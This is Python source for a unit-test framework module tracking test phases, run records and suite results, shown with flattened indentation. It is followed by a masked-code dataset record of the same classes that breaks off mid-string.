if ":" in arg:
name, value = arg.split(":", 1)
self.cs_flags[name] = value
else:
self.cs_flags[arg] = True
for name in kwargs:
if name.startswith("cs_"):
self.reserved_cs_flags[name[3:]] = kwargs[name]
else:
self.cs_tags[name] = kwargs[name]
self.reserved_cs_flags['defined_in_base'] = None
def __getattr__(self, name):
"""Attribute access:
Provides read access to test method tags. For example, if you mark a
test:<py>:
@test(abc="Hello")
Then, if ``info`` is the test's `TestInfo` object, ``info.abc`` will
be ``"Hello"``. If the test does not have ``abc`` set then the result
is ``None``.
"""
if name in self.__dict__:
return self.__dict__.get(name)
return self.cs_tags.get(name, None)
class Result:
"""Full result details for a test."""
def __init__(self, state, reason):
self.state, self.reason = state, reason
@property
def reportCode(self):
if self.reason is NONE:
return self.state
return self.reason
class StepRecord:
"""A single record used to store informmation about the success or
otherwise of a test phase.
A test phase is one of:
- A suite set-up/tear-down.
- A test set-up/tear-down.
- The execution of the test-method itself.
:Ivariables:
result
TODO
reason
TODO
"""
def __init__(self, result=NOT_RUN, reason=NONE, details=None):
self.result, self.reason = result, reason
self.exc = None
self.reported = False
def setResult(self, state, reason=NONE, details=None):
self._state, self._reason = state, reason
self._details = details
# TODO: Just transitional.
@property
def state(self):
return self.result
@property
def hasFailed(self):
return self.result in (FAIL, BAD_SETUP)
def __str__(self):
return "StepRecord: %s/%s" % (self.state, self.reason)
class StepRecordList:
def __init__(self):
self.entries = []
class RunRecord:
"""A set of records containing all information about a single test's run.
This stores multiple `StepRecord` instances. The records are stored in a
dictionary keyed by the following names:
setUp, tearDown, prevTearDown, rn
Each maps to a single `StepRecord`.
suiteSetUp, suiteTearDown, prevSuiteTearDown
Each mapping to a list of `StepRecord` instances, in execution order.
"""
_simpleNames = """setUp tearDown prevTearDown run postCheck""".split()
_listNames = """suiteSetUp suiteTearDown prevSuiteTearDown""".split()
_recordNames = _simpleNames + _listNames
_runTime = None
def __init__(self):
#assert RunRecord._runTime is not None
self.runTime = RunRecord._runTime
self.invalid = False
self._records = {}
self.extraInfo = {}
def __setstate__(self, state):
self.invalid = False
self.__dict__.update(state)
@classmethod
def startNewRun(cls):
cls._runTime = time.time()
@classmethod
def finishRun(cls):
cls._runTime = None
def addStepRecord(self, name):
"""Add a new phase record to this run record.
Adds a new `StepRecord` for a test phase, which must be one of those
defined for a `RunRecord`.
:Parameters:
name
The name for the record. It must be the name of a defined test
phase.
:Return:
The newly added `StepRecord` instance. This will always be a newly
created instance.
"""
assert name in RunRecord._recordNames
record = StepRecord()
if name in RunRecord._simpleNames:
assert name not in self._records
self._records[name] = record
else:
if name not in self._records:
self._records[name] = StepRecordList()
self._records[name].entries.append(record)
return record
def getResult(self, name):
pass
@property
def result(self):
# Is set-up failed then we report that as bad setup.
try:
rec = self._records["setUp"]
except KeyError:
pass
else:
if rec.state is not PASS:
result = Result(BAD_SETUP, BAD_SETUP)
return result
# See if the test was actually executed.
try:
rec = self._records["run"]
except KeyError:
pass
else:
result = Result(rec.state, rec.reason)
return result
# Test was not run, so we need to find out why. A suite set-up
# failure means we consider the test not-run.
for rec in self._records.get("suiteSetUp", []):
if rec.state is not PASS:
return Result(NOT_RUN, BAD_SUITE_SETUP)
try:
rec = self._records["setUp"]
except KeyError:
pass
else:
if rec.state is not PASS:
return Result(NOT_RUN, BAD_SETUP)
return Result(NOT_RUN, NONE)
@property
def state(self):
# If set-up failed then we report that as bad setup.
try:
rec = self._records["setUp"]
except KeyError:
pass
else:
if rec.state is NOT_RUN:
return NOT_RUN
if rec.state not in (PASS, BUG, BUG_PASS):
return BAD_SETUP
# If the test has a 'run' entry then that defines the state.
try:
rec = self._records["run"]
#if rec.state is NOT_RUN:
# return RUNNING
return rec.state
except KeyError:
pass
# Otherwise the state is not-run.
return NOT_RUN
@property
def isRunnable(self):
for name in ("suiteTearDown", "tearDown", "suiteSetUp", "setUp"):
try:
if self._records[name].state not in (PASS, SKIPPED, NOT_RUN):
return True
except KeyError:
pass
return False
@property
def hasRunProblem(self):
for name in ("tearDown", "suiteTearDown", "suiteSetUp", "setUp",
"run", "postCheck"):
try:
record = self._records[name]
except KeyError:
continue
if name in ("tearDown", "setUp", "run", "postCheck"):
if record.state not in (PASS, SKIPPED, NOT_RUN,
TODO, BUG, BUG_PASS):
return True
else:
for rec in record.entries:
if rec.state not in (PASS, SKIPPED, NOT_RUN,
TODO, BUG, BUG_PASS):
return True
return False
@property
def hasFailed(self):
for name in ("suiteSetUp", "setUp", "run"):
try:
record = self._records[name]
except KeyError:
continue
if name in ("setUp", "run"):
if record.state not in (PASS, SKIPPED, NOT_RUN, TODO, BUG,
BUG_PASS):
return True
else:
for rec in record.entries:
if rec.state not in (PASS, SKIPPED, NOT_RUN,
TODO, BUG, BUG_PASS):
return True
return False
@property
def phaseRecord(self):
"""Get the most recent phaseRecord.
This is used to get the most pertinent record for this test; i.e. the
one that provides the most useful result for the test.
TODO: This is not yet well defined.
"""
for name in ("tearDown", "run", "setUp"):
try:
return name, self._records[name]
except KeyError:
pass
#return None, None
seq = self._records.get("suiteSetUp", None)
if seq is None:
return None, None
for ent in seq.entries:
if ent.hasFailed:
return "suiteSetUp", ent
return "suiteSetUp", seq.entries[0]
def getStepRecord(self, phase):
"""Get the record details for a test run phase."""
ent = self._records.get(phase, None)
if hasattr(ent, "append"): # Yurk!
seq = ent
for ent in seq:
if ent.hasFailed:
return ent
return seq.entries[0]
if hasattr(ent, "entries"): # Double yurk!
seq = ent.entries
for ent in seq:
if ent.hasFailed:
return ent
if seq:
return seq[0]
return
return ent
class TestItem:
"""Base class for `Test` and `Suite` classes.
"""
def __init__(self, item, uid, parentUid, context, namespace=None):
"""Constructor:
:Parameters:
item
The concrete test item. For a test function/method this is the
function/method itself. For a `ClassSuite` this is the instance and
for a `ModuleSuite` this is the the module instance.
uid
The unique ID for this item, which is a tuple of strings.
parentUid
The unique ID of the parent item or ``None``. Only the root `Suite`
of a test tree has a parent of ``None``.
namespace
A dictionary that provides the containing namespace for the test
item.
"""
self.item = item
self.uid = uid
self.context = context
self.parentUid = parentUid
self.namespace = self._getNamespace(namespace)
self._collection = None
self._running = False
self._marks = {}
self.extraInfo = {}
def setMark(self, mark):
self._marks[mark] = None
def clearMark(self, mark):
if mark in self._marks:
del self._marks[mark]
def isMarked(self, mark):
return mark in self._marks
def setCollection(self, collection):
self._collection = weakref.proxy(collection)
# TODO: To remove.
def setPhase(self, phase):
self._phase = phase
@intelliprop
def state(self):
"""The current state of the test.
"""
result = self.getResult()
return result.state
def setState(self, state):
if state is PASS:
pass
@intelliprop
def level(self):
"""This item's level in the test tree.
This is the number of ancestors this item has. If zero then this is
the 'root' item.
"""
return len(self.ancestors)
@intelliprop
def parent(self):
"""The parent of this item, which may be ``None``.
If this is ``None`` then this item is the root of a (possibly nested)
suite of tests.
"""
return self._collection.parent(self)
@intelliprop
def ancestors(self):
"""A list of all ancestors for this item.
Each entry is a UID. The first entry is the oldest ancesctor and the
last entry is the immediate parent's UID.
"""
return self._collection.getAncestors(self)
def hasFailingAncestor(self):
"""Check if any ancestor is considered to have failed.
An ancestor suite has failed if, for example, its ``suiteSetup``
failed.
:Return:
``True`` if any ancestors has failed.
"""
parent = self.parent
if parent is None:
return
# TODO: Temporarily disabled.
return
return parent.hasFailed or parent.hasFailingAncestor()
def _getNamespace(self, namespace=None):
return namespace or dict([(n, getattr(self.item, n))
for n in dir(self.item)])
@intelliprop
def rawDoc(self):
"""The raw docstring, no cleaning up performed at all."""
return self.namespace["__doc__"]
@intelliprop
def docLines(self):
"""The docstring as lines.
This is cleaned up to remove leading and trailing blank lines from
the summary and details.
:Return:
A sequence of (non-nul terminated) lines for the docstring. The
summary (if present) is separated from the details by a single
empty line.
"""
summary, description = self._getDocParts()
if description:
return summary + [""] + description
return summary
@intelliprop
def doc(self):
"""The docstring after being cleaned up.
:Return:
The cleaned up docstrinc as a multiline string. Leading and
trailing blank lines are removed and the summary is separated from
any details by a single blakn line. Common leading whitspace is
also removed from each line.
"""
return "\n".join(self.docLines)
def _getDocParts(self):
# Lose leading blank lines.
lines = self.rawDoc.splitlines()
while lines and not lines[0].strip():
lines.pop(0)
# All lines up to next blank line are the summary.
summary = []
while lines and lines[0].strip():
summary.append(lines.pop(0))
# Strip leading and trailing blank lines from the remaining details.
while lines and not lines[0].strip():
lines.pop(0)
while lines and not lines[-1].strip():
lines.pop()
# Dedent the summary and details before returning them.
summary = summary[:1] + dedentLines(summary[1:])
details = dedentLines(lines)
return summary, details
@property
def summary(self):
summary, description = self._getDocParts()
return " ".join(summary)
@property
def details(self):
summary, description = self._getDocParts()
return description
@property
def sourcesUnderTest(self):
sources = []
for p in self.namespace.get("sources_under_test", []):
if not os.path.isabs(p):
p = os.path.abspath(os.path.join(self.dirname, p))
sources.append(p)
p = self.parent
if p is not None:
sources.extend(p.sourcesUnderTest)
return sources
@property
def klass(self):
return None
@property
def path(self):
p = self.namespace.get("__file__", None)
if p is None:
return self.parent.path
if p.endswith(".pyc"):
p = p[:-1]
return p
@property
def dirname(self):
f = self.path
if f:
return os.path.dirname(f)
@property
def isBug(self):
return False
class Test(TestItem):
typeName = "Test"
isSuite = False
amNull = False
def __init__(self, *args, **kwargs):
super(Test, self).__init__(*args, **kwargs)
self._runHistory = []
self.stopAll = False
if self.func:
self.func.cs_test_info.test = weakref.proxy(self)
def getHistory(self):
return self._runHistory
def dumpHist(self):
return self._runHistory[-1].dump()
def startNewRun(self):
rec = RunRecord()
self._runHistory.append(rec)
def abortRun(self):
self._runHistory.pop()
def addStepRecord(self, name):
runRecord = self._runHistory[-1]
return runRecord.addStepRecord(name)
@property
def postCheck(self):
return self.parent.postCheck
@intelliprop
def hasFailed(self):
"""Check if this test has properly failed.
:Return:
``True`` if the test has failed to run for any reason.
"""
record = self.getRunRecord().getRecord("run")
return record.state is FAIL
@property
def klass(self):
return self.parent.klass
@property
def funcName(self):
return self.item.__name__
@property
def func(self):
return self.item
@property
def info(self):
return self.func.cs_test_info
@property
def isBroken(self):
if not hasattr(self, "info"):
raise PropertyError("%r has no attribute %r" % (
self.__class__.__name__, "info"))
flag = self.info.reserved_cs_flags.get("broken", None)
if flag is None:
flag = self.info.cs_flags.get("broken", False) # deprecated
return flag
@property
def isTodo(self):
if not hasattr(self, "info"):
raise PropertyError("%r has no attribute %r" % (
self.__class__.__name__, "info"))
return self.info.cs_flags.get("todo", False)
@property
def isBug(self):
if not hasattr(self, "info"):
raise PropertyError("%r has no attribute %r" % (
self.__class__.__name__, "info"))
flag = self.info.reserved_cs_flags.get("bug", None)
if flag is None:
flag = self.info.cs_flags.get("bug", False) # deprecated
return flag
@property
def shouldFork(self):
if not hasattr(self, "info"):
raise PropertyError("%r has no attribute %r" % (
self.__class__.__name__, "info"))
if self.info.reserved_cs_flags.get("fork", False):
return True
parent = self.parent
try:
return parent.suite.cs_attrs.fork_all
except AttributeError:
return False
@property
def testID(self):
return self.info.cs_tags.get("testID", None)
@property
def title(self):
return self.info.cs_flags.get("title", None)
@property
def isRunnable(self):
#if self.isBroken and not options.no_disabled:
# return False
if self.parent.exited:
return False
return True
@property
def state(self):
rec = self.runRecord
if rec:
return rec.state
return NOT_RUN
@property
def result(self):
rec = self.runRecord
if rec:
return rec.result
return NOT_RUN
@property
def hasRunProblem(self):
rec = self.runRecord
if rec:
return rec.hasRunProblem
return False
@property
def hasFailed(self):
rec = self.runRecord
if rec:
return rec.hasFailed
return False
def addRunRecord(self, record):
self._runHistory.append(record)
if len(self._runHistory) > 5:
self._runHistory[:] = self._runHistory[-5:]
@property
def runRecord(self):
"""The XXX TODO"""
if self._runHistory:
for rec in reversed(self._runHistory):
if not rec.invalid:
return rec
# TODO: Should now be StepRecord.
@property
def phaseRecord(self):
"""The XXX TODO"""
if not self._runHistory:
return None, None
return self._runHistory[-1].phaseRecord
def getStepRecord(self, phase):
return self._runHistory[-1].getStepRecord(phase)
def getTestProcedure(self):
return self._collection.spec.getThing(self)
class NullTest(Test):
amNull = True
def __init__(self):
context = Context.getContext(dirPath=os.getcwd())
super(NullTest, self).__init__(None, None, None, context)
self.number = 0
self.startNewRun()
def startNewRun(self):
rec = RunRecord()
self._runHistory.append(rec)
def abortRun(self):
self._runHistory.pop()
@property
def isBug(self):
return False
def __bool__(self):
return False
class Suite(TestItem):
typeName = "Suite"
isSuite = True
def __init__(self, *args, **kwargs):
self.myDir = kwargs.pop("myDir")
super(Suite, self).__init__(*args, **kwargs)
self.exited = False
self.number = 0
self.skipTests = False
self.entered = False
def reset(self):
self.entered = False
self.skipTests = False
@intelliprop
def children(self):
"""All the direct children of this item."""
tests = [t for t in self._collection if t.parent is self]
suites = [t for t in self._collection.suites if t.parent is self]
return suites + tests
@intelliprop
def tests(self):
"""All the direct test children of this item."""
return [t for t in self._collection if t.parent is self]
@property
def suite(self):
return self.item
@property
def runAfter(self):
"""The _run_after for this source."""
return self.namespace.get("_run_after", [])
@property
def postCheck(self):
return self.namespace.get("postCheck", lambda: None)
@property
def setUp(self):
return self.namespace.get("setUp", lambda: None)
@property
def postSetUp(self):
return self.namespace.get("postSetUp", lambda: None)
@property
def tearDown(self):
return self.namespace.get("tearDown", lambda: None)
@property
def suiteSetUp(self):
return self.namespace.get("suiteSetUp", lambda: None)
@property
def suiteTearDown(self):
return self.namespace.get("suiteTearDown", lambda: None)
def getResult(self, name=None):
runCount = 0
childStates = {}
result = Result(PASS, NONE)
if not self.children:
result.state = NOT_RUN
return result
for c in self.children:
state = c.state
runCount += state is not NOT_RUN
childStates[state] = None
if FAIL in childStates:
result.state = CHILD_FAIL
elif CHILD_FAIL in childStates:
result.state = CHILD_FAIL
elif BAD_SETUP in childStates:
result.state = CHILD_FAIL
elif PART_RUN in childStates:
result.state = PART_RUN
elif NOT_RUN in childStates:
if runCount:
result.state = PART_RUN
else:
result.state = NOT_RUN
return result
@property
def result(self):
return self.getResult()
@property
def state(self):
result = self.getResult()
return result.reportCode
def hasTests(self):
# Deprecated. Only used for old reporter support.
for t in self._collection:
if t.parent is self:
return True
class ModuleSuite(Suite):
pass
class ClassSuite(Suite):
@property
def klass(self):
return self.item.__class__.__name__
def enter_pdb():
"""Enter the python debugger."""
import sys, pdb
sys.stdout, sys.stderr = sys.__stdout__, sys.__stderr__
pdb.set_trace()
|
normal
|
{
"blob_id": "cac9d84f20a79b115c84ff4fe8cf4640182a42d7",
"index": 754,
"step-1": "<mask token>\n\n\nclass Test(TestItem):\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n def abortRun(self):\n self._runHistory.pop()\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n @property\n def funcName(self):\n return self.item.__name__\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n @property\n def state(self):\n rec = self.runRecord\n if rec:\n return rec.state\n return NOT_RUN\n <mask token>\n <mask token>\n <mask token>\n\n def addRunRecord(self, record):\n self._runHistory.append(record)\n if len(self._runHistory) > 5:\n self._runHistory[:] = self._runHistory[-5:]\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n\nclass NullTest(Test):\n amNull = True\n\n def __init__(self):\n context = Context.getContext(dirPath=os.getcwd())\n super(NullTest, self).__init__(None, None, None, context)\n self.number = 0\n self.startNewRun()\n\n def startNewRun(self):\n rec = RunRecord()\n self._runHistory.append(rec)\n\n def abortRun(self):\n self._runHistory.pop()\n\n @property\n def isBug(self):\n return False\n\n def __bool__(self):\n return False\n\n\nclass Suite(TestItem):\n typeName = 'Suite'\n isSuite = True\n\n def __init__(self, *args, **kwargs):\n self.myDir = kwargs.pop('myDir')\n super(Suite, self).__init__(*args, **kwargs)\n self.exited = False\n self.number = 0\n self.skipTests = False\n self.entered = False\n\n def reset(self):\n self.entered = False\n self.skipTests = False\n\n @intelliprop\n def children(self):\n \"\"\"All the direct children of this item.\"\"\"\n tests = [t for t in self._collection if t.parent is self]\n suites = [t for t in self._collection.suites if t.parent is self]\n return suites + tests\n\n @intelliprop\n def tests(self):\n \"\"\"All the direct test children of this item.\"\"\"\n return [t for t in self._collection if t.parent is self]\n\n @property\n def suite(self):\n return self.item\n\n @property\n def runAfter(self):\n \"\"\"The _run_after for this source.\"\"\"\n return self.namespace.get('_run_after', [])\n\n @property\n def postCheck(self):\n return self.namespace.get('postCheck', lambda : None)\n\n @property\n def setUp(self):\n return self.namespace.get('setUp', lambda : None)\n\n @property\n def postSetUp(self):\n return self.namespace.get('postSetUp', lambda : None)\n\n @property\n def tearDown(self):\n return self.namespace.get('tearDown', lambda : None)\n\n @property\n def suiteSetUp(self):\n return self.namespace.get('suiteSetUp', lambda : None)\n\n @property\n def suiteTearDown(self):\n return self.namespace.get('suiteTearDown', lambda : None)\n\n def getResult(self, name=None):\n runCount = 0\n childStates = {}\n result = Result(PASS, NONE)\n if not self.children:\n result.state = NOT_RUN\n return result\n for c in self.children:\n state = c.state\n runCount += state is not NOT_RUN\n childStates[state] = None\n if FAIL in childStates:\n result.state = CHILD_FAIL\n elif CHILD_FAIL in childStates:\n result.state = CHILD_FAIL\n elif BAD_SETUP in childStates:\n result.state = CHILD_FAIL\n elif PART_RUN in childStates:\n result.state = PART_RUN\n elif NOT_RUN in childStates:\n if runCount:\n result.state = PART_RUN\n else:\n result.state = NOT_RUN\n return result\n\n @property\n def result(self):\n return self.getResult()\n\n @property\n def state(self):\n result = self.getResult()\n return result.reportCode\n\n def hasTests(self):\n for t in self._collection:\n if t.parent is self:\n return True\n\n\nclass ModuleSuite(Suite):\n pass\n\n\nclass ClassSuite(Suite):\n\n @property\n def klass(self):\n return self.item.__class__.__name__\n\n\n<mask token>\n",
"step-2": "<mask token>\n\n\nclass TestItem:\n <mask token>\n\n def __init__(self, item, uid, parentUid, context, namespace=None):\n \"\"\"Constructor:\n\n :Parameters:\n item\n The concrete test item. For a test function/method this is the\n function/method itself. For a `ClassSuite` this is the instance and\n for a `ModuleSuite` this is the the module instance.\n\n uid\n The unique ID for this item, which is a tuple of strings.\n\n parentUid\n The unique ID of the parent item or ``None``. Only the root `Suite`\n of a test tree has a parent of ``None``.\n\n namespace\n A dictionary that provides the containing namespace for the test\n item.\n\n \"\"\"\n self.item = item\n self.uid = uid\n self.context = context\n self.parentUid = parentUid\n self.namespace = self._getNamespace(namespace)\n self._collection = None\n self._running = False\n self._marks = {}\n self.extraInfo = {}\n <mask token>\n <mask token>\n\n def isMarked(self, mark):\n return mark in self._marks\n <mask token>\n <mask token>\n\n @intelliprop\n def state(self):\n \"\"\"The current state of the test.\n\n \"\"\"\n result = self.getResult()\n return result.state\n\n def setState(self, state):\n if state is PASS:\n pass\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n @property\n def path(self):\n p = self.namespace.get('__file__', None)\n if p is None:\n return self.parent.path\n if p.endswith('.pyc'):\n p = p[:-1]\n return p\n <mask token>\n <mask token>\n\n\nclass Test(TestItem):\n typeName = 'Test'\n isSuite = False\n amNull = False\n\n def __init__(self, *args, **kwargs):\n super(Test, self).__init__(*args, **kwargs)\n self._runHistory = []\n self.stopAll = False\n if self.func:\n self.func.cs_test_info.test = weakref.proxy(self)\n\n def getHistory(self):\n return self._runHistory\n\n def dumpHist(self):\n return self._runHistory[-1].dump()\n\n def startNewRun(self):\n rec = RunRecord()\n self._runHistory.append(rec)\n\n def abortRun(self):\n self._runHistory.pop()\n\n def addStepRecord(self, name):\n runRecord = self._runHistory[-1]\n return runRecord.addStepRecord(name)\n\n @property\n def postCheck(self):\n return self.parent.postCheck\n\n @intelliprop\n def hasFailed(self):\n \"\"\"Check if this test has properly failed.\n\n :Return:\n ``True`` if the test has failed to run for any reason.\n\n \"\"\"\n record = self.getRunRecord().getRecord('run')\n return record.state is FAIL\n\n @property\n def klass(self):\n return self.parent.klass\n\n @property\n def funcName(self):\n return self.item.__name__\n\n @property\n def func(self):\n return self.item\n\n @property\n def info(self):\n return self.func.cs_test_info\n\n @property\n def isBroken(self):\n if not hasattr(self, 'info'):\n raise PropertyError('%r has no attribute %r' % (self.__class__.\n __name__, 'info'))\n flag = self.info.reserved_cs_flags.get('broken', None)\n if flag is None:\n flag = self.info.cs_flags.get('broken', False)\n return flag\n\n @property\n def isTodo(self):\n if not hasattr(self, 'info'):\n raise PropertyError('%r has no attribute %r' % (self.__class__.\n __name__, 'info'))\n return self.info.cs_flags.get('todo', False)\n\n @property\n def isBug(self):\n if not hasattr(self, 'info'):\n raise PropertyError('%r has no attribute %r' % (self.__class__.\n __name__, 'info'))\n flag = self.info.reserved_cs_flags.get('bug', None)\n if flag is None:\n flag = self.info.cs_flags.get('bug', False)\n return flag\n\n @property\n def shouldFork(self):\n if not hasattr(self, 'info'):\n raise PropertyError('%r has no attribute %r' % (self.__class__.\n __name__, 'info'))\n if self.info.reserved_cs_flags.get('fork', False):\n return True\n parent = self.parent\n try:\n return parent.suite.cs_attrs.fork_all\n except AttributeError:\n return False\n\n @property\n def testID(self):\n return self.info.cs_tags.get('testID', None)\n\n @property\n def title(self):\n return self.info.cs_flags.get('title', None)\n\n @property\n def isRunnable(self):\n if self.parent.exited:\n return False\n return True\n\n @property\n def state(self):\n rec = self.runRecord\n if rec:\n return rec.state\n return NOT_RUN\n\n @property\n def result(self):\n rec = self.runRecord\n if rec:\n return rec.result\n return NOT_RUN\n\n @property\n def hasRunProblem(self):\n rec = self.runRecord\n if rec:\n return rec.hasRunProblem\n return False\n\n @property\n def hasFailed(self):\n rec = self.runRecord\n if rec:\n return rec.hasFailed\n return False\n\n def addRunRecord(self, record):\n self._runHistory.append(record)\n if len(self._runHistory) > 5:\n self._runHistory[:] = self._runHistory[-5:]\n\n @property\n def runRecord(self):\n \"\"\"The XXX TODO\"\"\"\n if self._runHistory:\n for rec in reversed(self._runHistory):\n if not rec.invalid:\n return rec\n\n @property\n def phaseRecord(self):\n \"\"\"The XXX TODO\"\"\"\n if not self._runHistory:\n return None, None\n return self._runHistory[-1].phaseRecord\n\n def getStepRecord(self, phase):\n return self._runHistory[-1].getStepRecord(phase)\n\n def getTestProcedure(self):\n return self._collection.spec.getThing(self)\n\n\nclass NullTest(Test):\n amNull = True\n\n def __init__(self):\n context = Context.getContext(dirPath=os.getcwd())\n super(NullTest, self).__init__(None, None, None, context)\n self.number = 0\n self.startNewRun()\n\n def startNewRun(self):\n rec = RunRecord()\n self._runHistory.append(rec)\n\n def abortRun(self):\n self._runHistory.pop()\n\n @property\n def isBug(self):\n return False\n\n def __bool__(self):\n return False\n\n\nclass Suite(TestItem):\n typeName = 'Suite'\n isSuite = True\n\n def __init__(self, *args, **kwargs):\n self.myDir = kwargs.pop('myDir')\n super(Suite, self).__init__(*args, **kwargs)\n self.exited = False\n self.number = 0\n self.skipTests = False\n self.entered = False\n\n def reset(self):\n self.entered = False\n self.skipTests = False\n\n @intelliprop\n def children(self):\n \"\"\"All the direct children of this item.\"\"\"\n tests = [t for t in self._collection if t.parent is self]\n suites = [t for t in self._collection.suites if t.parent is self]\n return suites + tests\n\n @intelliprop\n def tests(self):\n \"\"\"All the direct test children of this item.\"\"\"\n return [t for t in self._collection if t.parent is self]\n\n @property\n def suite(self):\n return self.item\n\n @property\n def runAfter(self):\n \"\"\"The _run_after for this source.\"\"\"\n return self.namespace.get('_run_after', [])\n\n @property\n def postCheck(self):\n return self.namespace.get('postCheck', lambda : None)\n\n @property\n def setUp(self):\n return self.namespace.get('setUp', lambda : None)\n\n @property\n def postSetUp(self):\n return self.namespace.get('postSetUp', lambda : None)\n\n @property\n def tearDown(self):\n return self.namespace.get('tearDown', lambda : None)\n\n @property\n def suiteSetUp(self):\n return self.namespace.get('suiteSetUp', lambda : None)\n\n @property\n def suiteTearDown(self):\n return self.namespace.get('suiteTearDown', lambda : None)\n\n def getResult(self, name=None):\n runCount = 0\n childStates = {}\n result = Result(PASS, NONE)\n if not self.children:\n result.state = NOT_RUN\n return result\n for c in self.children:\n state = c.state\n runCount += state is not NOT_RUN\n childStates[state] = None\n if FAIL in childStates:\n result.state = CHILD_FAIL\n elif CHILD_FAIL in childStates:\n result.state = CHILD_FAIL\n elif BAD_SETUP in childStates:\n result.state = CHILD_FAIL\n elif PART_RUN in childStates:\n result.state = PART_RUN\n elif NOT_RUN in childStates:\n if runCount:\n result.state = PART_RUN\n else:\n result.state = NOT_RUN\n return result\n\n @property\n def result(self):\n return self.getResult()\n\n @property\n def state(self):\n result = self.getResult()\n return result.reportCode\n\n def hasTests(self):\n for t in self._collection:\n if t.parent is self:\n return True\n\n\nclass ModuleSuite(Suite):\n pass\n\n\nclass ClassSuite(Suite):\n\n @property\n def klass(self):\n return self.item.__class__.__name__\n\n\n<mask token>\n",
"step-3": "<mask token>\n\n\nclass TestItem:\n <mask token>\n\n def __init__(self, item, uid, parentUid, context, namespace=None):\n \"\"\"Constructor:\n\n :Parameters:\n item\n The concrete test item. For a test function/method this is the\n function/method itself. For a `ClassSuite` this is the instance and\n for a `ModuleSuite` this is the the module instance.\n\n uid\n The unique ID for this item, which is a tuple of strings.\n\n parentUid\n The unique ID of the parent item or ``None``. Only the root `Suite`\n of a test tree has a parent of ``None``.\n\n namespace\n A dictionary that provides the containing namespace for the test\n item.\n\n \"\"\"\n self.item = item\n self.uid = uid\n self.context = context\n self.parentUid = parentUid\n self.namespace = self._getNamespace(namespace)\n self._collection = None\n self._running = False\n self._marks = {}\n self.extraInfo = {}\n\n def setMark(self, mark):\n self._marks[mark] = None\n\n def clearMark(self, mark):\n if mark in self._marks:\n del self._marks[mark]\n\n def isMarked(self, mark):\n return mark in self._marks\n\n def setCollection(self, collection):\n self._collection = weakref.proxy(collection)\n <mask token>\n\n @intelliprop\n def state(self):\n \"\"\"The current state of the test.\n\n \"\"\"\n result = self.getResult()\n return result.state\n\n def setState(self, state):\n if state is PASS:\n pass\n\n @intelliprop\n def level(self):\n \"\"\"This item's level in the test tree.\n\n This is the number of ancestors this item has. If zero then this is\n the 'root' item.\n\n \"\"\"\n return len(self.ancestors)\n\n @intelliprop\n def parent(self):\n \"\"\"The parent of this item, which may be ``None``.\n\n If this is ``None`` then this item is the root of a (possibly nested)\n suite of tests.\n\n \"\"\"\n return self._collection.parent(self)\n\n @intelliprop\n def ancestors(self):\n \"\"\"A list of all ancestors for this item.\n\n Each entry is a UID. The first entry is the oldest ancesctor and the\n last entry is the immediate parent's UID.\n\n \"\"\"\n return self._collection.getAncestors(self)\n\n def hasFailingAncestor(self):\n \"\"\"Check if any ancestor is considered to have failed.\n\n An ancestor suite has failed if, for example, its ``suiteSetup``\n failed.\n\n :Return:\n ``True`` if any ancestors has failed.\n\n \"\"\"\n parent = self.parent\n if parent is None:\n return\n return\n return parent.hasFailed or parent.hasFailingAncestor()\n <mask token>\n\n @intelliprop\n def rawDoc(self):\n \"\"\"The raw docstring, no cleaning up performed at all.\"\"\"\n return self.namespace['__doc__']\n\n @intelliprop\n def docLines(self):\n \"\"\"The docstring as lines.\n\n This is cleaned up to remove leading and trailing blank lines from\n the summary and details.\n\n :Return:\n A sequence of (non-nul terminated) lines for the docstring. The\n summary (if present) is separated from the details by a single\n empty line.\n\n \"\"\"\n summary, description = self._getDocParts()\n if description:\n return summary + [''] + description\n return summary\n\n @intelliprop\n def doc(self):\n \"\"\"The docstring after being cleaned up.\n\n :Return:\n The cleaned up docstrinc as a multiline string. Leading and\n trailing blank lines are removed and the summary is separated from\n any details by a single blakn line. Common leading whitspace is\n also removed from each line.\n\n \"\"\"\n return '\\n'.join(self.docLines)\n\n def _getDocParts(self):\n lines = self.rawDoc.splitlines()\n while lines and not lines[0].strip():\n lines.pop(0)\n summary = []\n while lines and lines[0].strip():\n summary.append(lines.pop(0))\n while lines and not lines[0].strip():\n lines.pop(0)\n while lines and not lines[-1].strip():\n lines.pop()\n summary = summary[:1] + dedentLines(summary[1:])\n details = dedentLines(lines)\n return summary, details\n\n @property\n def summary(self):\n summary, description = self._getDocParts()\n return ' '.join(summary)\n\n @property\n def details(self):\n summary, description = self._getDocParts()\n return description\n\n @property\n def sourcesUnderTest(self):\n sources = []\n for p in self.namespace.get('sources_under_test', []):\n if not os.path.isabs(p):\n p = os.path.abspath(os.path.join(self.dirname, p))\n sources.append(p)\n p = self.parent\n if p is not None:\n sources.extend(p.sourcesUnderTest)\n return sources\n\n @property\n def klass(self):\n return None\n\n @property\n def path(self):\n p = self.namespace.get('__file__', None)\n if p is None:\n return self.parent.path\n if p.endswith('.pyc'):\n p = p[:-1]\n return p\n\n @property\n def dirname(self):\n f = self.path\n if f:\n return os.path.dirname(f)\n\n @property\n def isBug(self):\n return False\n\n\nclass Test(TestItem):\n typeName = 'Test'\n isSuite = False\n amNull = False\n\n def __init__(self, *args, **kwargs):\n super(Test, self).__init__(*args, **kwargs)\n self._runHistory = []\n self.stopAll = False\n if self.func:\n self.func.cs_test_info.test = weakref.proxy(self)\n\n def getHistory(self):\n return self._runHistory\n\n def dumpHist(self):\n return self._runHistory[-1].dump()\n\n def startNewRun(self):\n rec = RunRecord()\n self._runHistory.append(rec)\n\n def abortRun(self):\n self._runHistory.pop()\n\n def addStepRecord(self, name):\n runRecord = self._runHistory[-1]\n return runRecord.addStepRecord(name)\n\n @property\n def postCheck(self):\n return self.parent.postCheck\n\n @intelliprop\n def hasFailed(self):\n \"\"\"Check if this test has properly failed.\n\n :Return:\n ``True`` if the test has failed to run for any reason.\n\n \"\"\"\n record = self.getRunRecord().getRecord('run')\n return record.state is FAIL\n\n @property\n def klass(self):\n return self.parent.klass\n\n @property\n def funcName(self):\n return self.item.__name__\n\n @property\n def func(self):\n return 